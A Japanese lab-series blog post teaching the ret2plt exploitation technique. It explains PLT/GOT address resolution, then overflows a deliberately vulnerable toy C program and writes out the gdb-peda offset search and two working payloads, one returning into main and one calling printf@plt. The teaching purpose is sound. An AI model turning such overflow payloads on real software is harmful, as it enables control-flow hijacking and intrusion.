ret2plt(弊研究室の某課題について考える11日目)

はじめに

これは弊研究室の某課題について考える11日目の記事です

pwnableの攻撃編の始まりです。今までに説明してきた脆弱性を基にどうやって攻撃するのかというのを紹介していく編になります

ret2plt

ret2plt(return to plt)とは脆弱性をついてEIPを奪ったとき(任意のアドレスに書き換えられる)にそのEIPのアドレスをpltのアドレスを指すことにより関数を実行させる手法である。

PLT(Procedure Linkage Table)とGOT(Global Offset Table)

ではpltとはなんだという話である。一緒にgotの話もする。2日目の記事でメモリ配置の図を示したがさらに詳細を見ていくとこうなっている

f:id:kataware8136:20171213170839p:plain

C言語ではソースコードに記述しなくても使える関数がありますよね。printfとかfopenとかね。これらはlibcと呼ばれるライブラリにありそれをコンパイル時にリンクしているため使用できます。それでlibcにある外部関数のアドレスを動的に求める機構がPLTとGOTになります。

さてこのアドレス解決機構を説明していきます。libcの関数であるprintfが呼び出された場合を考えます。

#include<stdio.h>

int main(){
 int a=1;
 int b=2;
 int c=a+b;
 printf("%d\n",c);
 return 0;
}

ここでmainのアセンブラを見てみます

$ objdump -d -M intel ./a.out

000000000000064a <main>:
 64a:   55                      push   rbp
 64b:   48 89 e5                mov    rbp,rsp
 64e:   48 83 ec 10             sub    rsp,0x10
 652:   c7 45 f4 01 00 00 00    mov    DWORD PTR [rbp-0xc],0x1
 659:   c7 45 f8 02 00 00 00    mov    DWORD PTR [rbp-0x8],0x2
 660:   8b 55 f4                mov    edx,DWORD PTR [rbp-0xc]
 663:   8b 45 f8                mov    eax,DWORD PTR [rbp-0x8]
 666:   01 d0                   add    eax,edx
 668:   89 45 fc                mov    DWORD PTR [rbp-0x4],eax
 66b:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
 66e:   89 c6                   mov    esi,eax
 670:   48 8d 3d 9d 00 00 00    lea    rdi,[rip+0x9d]        # 714 <_IO_stdin_used+0x4>
 677:   b8 00 00 00 00          mov    eax,0x0
 67c:   e8 af fe ff ff          call   530 <printf@plt>
 681:   b8 00 00 00 00          mov    eax,0x0
 686:   c9                      leave
 687:   c3                      ret
 688:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 68f:   00

printfを呼び出す部分で<printf@plt>となっています。ここでpltセグメントのprintfを呼び出しています。pltセクションには実行ファイルで使われる関数がエントリされています。

$ objdump -d -M intel -j .plt ./a.out

Disassembly of section .plt:

0000000000000520 <.plt>:
 520:   ff 35 e2 0a 20 00       push   QWORD PTR [rip+0x200ae2]        # 201008 <_GLOBAL_OFFSET_TABLE_+0x8>
 526:   ff 25 e4 0a 20 00       jmp    QWORD PTR [rip+0x200ae4]        # 201010 <_GLOBAL_OFFSET_TABLE_+0x10>
 52c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000000530 <printf@plt>:
 530:   ff 25 e2 0a 20 00       jmp    QWORD PTR [rip+0x200ae2]        # 201018 <printf@GLIBC_2.2.5>
 536:   68 00 00 00 00          push   0x0
 53b:   e9 e0 ff ff ff          jmp    520 <.plt>

call 530となっているように530printf@pltが登録されておりそれを呼んでいます。でアセンブラを追うとjmp 201010へ飛んでいます。ここのripは.got.pltにアドレスを指しており、.got.plt内のprintf二割与えられているアドレスにジャンプします。

.got.pltセグメントで共有ライブラリlibcのprintf関数を呼び出します。

ret2pltをやってみる

ではret2pltを実際にやってみる。EIPを奪えていれば実行可能であるので今回用意する脆弱性はスタックバッファオーバーフローとする。

サンプルプログラム

#include<stdio.h>
#include<string.h>

int main(int argc, char *argv[]){
        setbuf(stdin,NULL);
        setbuf(stdout,NULL);
        char buf[100] = {};
        char str[140];
        printf("Hi, I'm TsugumiYagi!\n");
        printf("Please tell me your name: ");

        fgets(str,140,stdin);
        strcpy(buf,str);
        printf("Hi ");
        puts(buf);
        return 0;
}

strcpyのところに脆弱性があります。ここに100文字以上をいれると壊れますね。

5$ gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ set disassembly-flavor intel
gdb-peda$ pattern_create 120
''AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ r
Starting program: /home/tsugumiyagi/Documents/pwn/pwn5/a.out
Hi, I'm TsugumiYagi!
Please tell me your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiA                                     A8AANAA
Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41684141 ('AAhA')
ECX: 0xb7fc2b07 --> 0xfc38980a
EDX: 0xb7fc3898 --> 0x0
ESI: 0x0
EDI: 0x41413741 ('A7AA')
EBP: 0x6941414d ('MAAi')
ESP: 0xbffff680 --> 0x414e41 ('ANA')
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xbffff680 --> 0x414e41 ('ANA')
0004| 0xbffff684 --> 0xbffff714 --> 0xbffff834 ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out")
0008| 0xbffff688 --> 0xbffff71c --> 0xbffff85f ("XDG_SESSION_ID=6")
0012| 0xbffff68c --> 0xb7fece3a (<call_init+26>:        add    ebx,0x121c6)
0016| 0xbffff690 --> 0x1
0020| 0xbffff694 --> 0xbffff714 --> 0xbffff834 ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out")
0024| 0xbffff698 --> 0xbffff6b4 --> 0xbd2c1514
0028| 0xbffff69c --> 0x804a024 --> 0xb7e2ea00 (<__libc_start_main>:     push   ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ A
Ambiguous command "A": .
gdb-peda$ patto AA8A
AA8A found at offset: 112
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804852d <+0>:     push   ebp

pattern_createで適当に文字列を作成し、patto 文字列でその文字列のオフセットを調べられます。 EIPに入っているのがAA8Aなのでpatto AA8Aで調べられます。すると112文字適当に入力した後の文字がEIPになることがわかります。ということでmain関数のアドレスでも突っ込みましょう。

tsugumiyagi@yuzu:~/Documents/pwn/pwn5$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2d\x85\x04\x08' | ./a.out
Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-�

Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-�

Segmentation fault (コアダンプ)

EIPがmainに変わったのでmain関数が2回実行されています。ではこれを踏まえてpltの呼び出しです。

$ objdump -d -M intel -j .plt ./a.out
セクション .plt の逆アセンブル:

080483b0 <setbuf@plt-0x10>:
 80483b0:   ff 35 04 a0 04 08       push   DWORD PTR ds:0x804a004
 80483b6:   ff 25 08 a0 04 08       jmp    DWORD PTR ds:0x804a008
 80483bc:   00 00                   add    BYTE PTR [eax],al
    ...

080483c0 <setbuf@plt>:
 80483c0:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 80483c6:   68 00 00 00 00          push   0x0
 80483cb:   e9 e0 ff ff ff          jmp    80483b0 <_init+0x30>

080483d0 <printf@plt>:
 80483d0:   ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 80483d6:   68 08 00 00 00          push   0x8
 80483db:   e9 d0 ff ff ff          jmp    80483b0 <_init+0x30>

080483e0 <fgets@plt>:
 80483e0:   ff 25 14 a0 04 08       jmp    DWORD PTR ds:0x804a014
 80483e6:   68 10 00 00 00          push   0x10
 80483eb:   e9 c0 ff ff ff          jmp    80483b0 <_init+0x30>

080483f0 <strcpy@plt>:
 80483f0:   ff 25 18 a0 04 08       jmp    DWORD PTR ds:0x804a018
 80483f6:   68 18 00 00 00          push   0x18
 80483fb:   e9 b0 ff ff ff          jmp    80483b0 <_init+0x30>

08048400 <puts@plt>:
 8048400:   ff 25 1c a0 04 08       jmp    DWORD PTR ds:0x804a01c
 8048406:   68 20 00 00 00          push   0x20
 804840b:   e9 a0 ff ff ff          jmp    80483b0 <_init+0x30>

08048410 <__gmon_start__@plt>:
 8048410:   ff 25 20 a0 04 08       jmp    DWORD PTR ds:0x804a020
 8048416:   68 28 00 00 00          push   0x28
 804841b:   e9 90 ff ff ff          jmp    80483b0 <_init+0x30>

08048420 <__libc_start_main@plt>:
 8048420:   ff 25 24 a0 04 08       jmp    DWORD PTR ds:0x804a024
 8048426:   68 30 00 00 00          push   0x30
 804842b:   e9 80 ff ff ff          jmp    80483b0 <_init+0x30>

ここではputs関数を呼び出すことにします。さてもう一度関数の実行される時の図を見ましょう

f:id:kataware8136:20171202212912p:plain

puts関数の引数はスタックに積めばよさそうですね。リターンアドレスは詰んであげなきゃいけないので適当に載せましょう。ただここで積むのはアドレスです。のでいい感じのアドレスをここで入手しておきます。

$ gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804852d <+0>:   push   ebp
   0x0804852e <+1>:   mov    ebp,esp
   0x08048530 <+3>:   push   edi
   0x08048531 <+4>:   push   ebx
   0x08048532 <+5>:   and    esp,0xfffffff0
   0x08048535 <+8>:   sub    esp,0xf0
   0x0804853b <+14>:  mov    eax,ds:0x804a040
   0x08048540 <+19>:  mov    DWORD PTR [esp+0x4],0x0
   0x08048548 <+27>:  mov    DWORD PTR [esp],eax
   0x0804854b <+30>:  call   0x80483c0 <setbuf@plt>
   0x08048550 <+35>:  mov    eax,ds:0x804a060
   0x08048555 <+40>:  mov    DWORD PTR [esp+0x4],0x0
   0x0804855d <+48>:  mov    DWORD PTR [esp],eax
   0x08048560 <+51>:  call   0x80483c0 <setbuf@plt>
   0x08048565 <+56>:  lea    ebx,[esp+0x8c]
   0x0804856c <+63>:  mov    eax,0x0
   0x08048571 <+68>:  mov    edx,0x19
   0x08048576 <+73>:  mov    edi,ebx
   0x08048578 <+75>:  mov    ecx,edx
   0x0804857a <+77>:  rep stos DWORD PTR es:[edi],eax
   0x0804857c <+79>:  mov    DWORD PTR [esp],0x8048680
   0x08048583 <+86>:  call   0x8048400 <puts@plt>
   0x08048588 <+91>:  mov    DWORD PTR [esp],0x8048695
   0x0804858f <+98>:  call   0x80483d0 <printf@plt>
   0x08048594 <+103>: mov    eax,ds:0x804a040
   0x08048599 <+108>: mov    DWORD PTR [esp+0x8],eax
   0x0804859d <+112>: mov    DWORD PTR [esp+0x4],0x78
   0x080485a5 <+120>: lea    eax,[esp+0x14]
   0x080485a9 <+124>: mov    DWORD PTR [esp],eax
   0x080485ac <+127>: call   0x80483e0 <fgets@plt>
   0x080485b1 <+132>: lea    eax,[esp+0x14]
   0x080485b5 <+136>: mov    DWORD PTR [esp+0x4],eax
   0x080485b9 <+140>: lea    eax,[esp+0x8c]
   0x080485c0 <+147>: mov    DWORD PTR [esp],eax
   0x080485c3 <+150>: call   0x80483f0 <strcpy@plt>
   0x080485c8 <+155>: mov    DWORD PTR [esp],0x80486b0
   0x080485cf <+162>: call   0x80483d0 <printf@plt>
   0x080485d4 <+167>: lea    eax,[esp+0x8c]
   0x080485db <+174>: mov    DWORD PTR [esp],eax
   0x080485de <+177>: call   0x8048400 <puts@plt>
   0x080485e3 <+182>: mov    eax,0x0
   0x080485e8 <+187>: lea    esp,[ebp-0x8]
   0x080485eb <+190>: pop    ebx
   0x080485ec <+191>: pop    edi
   0x080485ed <+192>: pop    ebp
   0x080485ee <+193>: ret    
End of assembler dump.
gdb-peda$ x/s 0x8048680
0x8048680:  "Hi, I'm TsugumiYagi!"

いい感じのアドレスを見つけたのでいけそうです。さてexploitです。

$ python -c 'print "A"*112+"\xd0\x83\x04\x08" + "BBBB" + "\x80\x86\x04\x08"' | ./a.out
Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЃBBBB��

Hi, I'm TsugumiYagi!Segmentation fault (コアダンプ)

はい望みどおりの出力が得られましたね。この時のスタックフレームですが下のようになっています。

f:id:kataware8136:20171213195127p:plain

これをprintfを基準に考えると下のように見ることができます。なので実行できるようになるわけですね。

f:id:kataware8136:20171213195436p:plain

おわりに

書いてて量がやばかったのでret2libcはまた明日。